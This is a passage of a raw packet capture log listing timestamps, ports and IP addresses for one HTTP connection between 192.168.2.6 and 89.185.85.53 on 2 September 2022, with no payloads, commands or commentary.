Sep 2, 2022 14:03:31.615410089 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615423918 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615437031 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615448952 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615463972 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615472078 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615485907 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615497112 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615509033 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615520954 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615531921 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615545988 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615564108 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615571022 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615581036 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615597010 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615609884 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615622044 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615633011 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615655899 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615874052 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615900040 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615916014 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615923882 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615935087 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615951061 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615962029 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.615976095 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.615987062 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.616002083 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.616009951 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.616029024 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.616039038 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.616055012 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.616063118 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.616091967 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.616101027 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.616127968 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.617033958 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.617078066 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.617105007 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.617119074 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.617131948 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.617157936 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.617161989 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.617183924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.619012117 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.619127035 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620069027 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620112896 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620131969 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620151997 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620165110 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620172024 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620189905 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620193958 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620206118 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620520115 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620563030 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620573044 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620585918 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620606899 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620609045 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620621920 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620630026 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620645046 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620654106 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620666981 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620676041 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620688915 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620698929 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620712996 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620722055 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620744944 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620748997 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620764017 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620767117 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620786905 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620790005 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620812893 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620815039 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620831013 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620836973 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620858908 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620858908 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620870113 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620881081 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620898962 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620902061 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620917082 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620923996 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620939970 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620945930 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620959044 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620966911 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.620982885 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.620990038 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.621010065 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.621012926 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.621023893 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.621035099 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.621049881 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.621054888 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.621071100 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.621078014 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.621090889 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.621104956 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.621115923 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.621144056 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.621148109 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.621186972 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.621608019 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.621635914 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.621687889 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.621704102 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622211933 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622246981 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622270107 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622289896 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622292042 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622304916 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622315884 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622318029 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622335911 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622340918 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622353077 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622366905 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622378111 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622390985 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622402906 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622414112 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622428894 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622438908 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622452021 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622469902 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622473001 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622497082 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622509003 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622519970 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622531891 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622544050 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622555971 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622580051 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622647047 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622669935 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622685909 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622693062 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622704983 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622716904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622730017 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622740030 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622754097 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622765064 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622787952 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622806072 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622812033 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622812033 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622823954 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622842073 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622848988 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622864962 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622876883 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622889042 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622900009 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622911930 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.622925043 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.622946978 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.623159885 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.623184919 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.623207092 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.623209000 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.623219013 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.623233080 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.623245001 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.623259068 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.623270988 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.623282909 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.623295069 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.623323917 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.624861002 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.624898911 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.624919891 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.624942064 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.624963045 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.624963999 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.624985933 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.624988079 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.624993086 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.625000000 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.625009060 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.625021935 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.625035048 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.625046968 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.625072002 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.625802040 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.625835896 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.625879049 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.625906944 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.626983881 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.627022028 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.627044916 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.627068996 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.627068996 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.627093077 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.627095938 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.627099991 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.627109051 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.627120018 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.627129078 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.627144098 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.627155066 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.627168894 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.627177954 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.627192974 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.627204895 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.627228975 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.627937078 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.627974987 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.628000021 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.628014088 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.628030062 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.628041029 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.628997087 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.629039049 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.629065037 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.629084110 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.629090071 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.629097939 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.629112005 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.629117966 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.629129887 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.629142046 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.629153967 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.629167080 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.629182100 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.629193068 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.629208088 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.629218102 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.629232883 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.629259109 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.629987955 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.630027056 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.630052090 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.630059004 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.630073071 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.630075932 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.630091906 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.630103111 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.630114079 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.630129099 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.630141973 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.630152941 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.630165100 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.630177975 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.630188942 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.630215883 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.630505085 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.630533934 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.630557060 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.630558968 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.630568981 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.630585909 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.630603075 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.630609989 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.630621910 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.630645037 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.631596088 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.631632090 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.631652117 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.631655931 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.631675005 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.631683111 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.631705999 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.631710052 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.631727934 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.631731987 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.631751060 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.631773949 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.631789923 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.631795883 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.631799936 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.631850958 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.632632017 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.632663965 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.632687092 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.632699013 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.632709980 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.632714987 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.632734060 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.632738113 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.632759094 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.632759094 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.632776976 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.632785082 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.632800102 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.632812023 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.632822037 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.632837057 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.632849932 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.632858992 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.632874012 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.632894039 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.633794069 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.633830070 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.633855104 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.633876085 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.633877039 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.633891106 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.633903027 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.633905888 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.633927107 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.633928061 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.633948088 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.633953094 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.633965015 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.633979082 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.633990049 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.634002924 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.634016037 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.634040117 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.634696007 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.634728909 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.634753942 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.634771109 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.634793043 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.634798050 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.634802103 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.634819984 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.634843111 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.634846926 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.634867907 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.634871006 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.634892941 CEST	80	49827	89.185.85.53	192.168.2.6
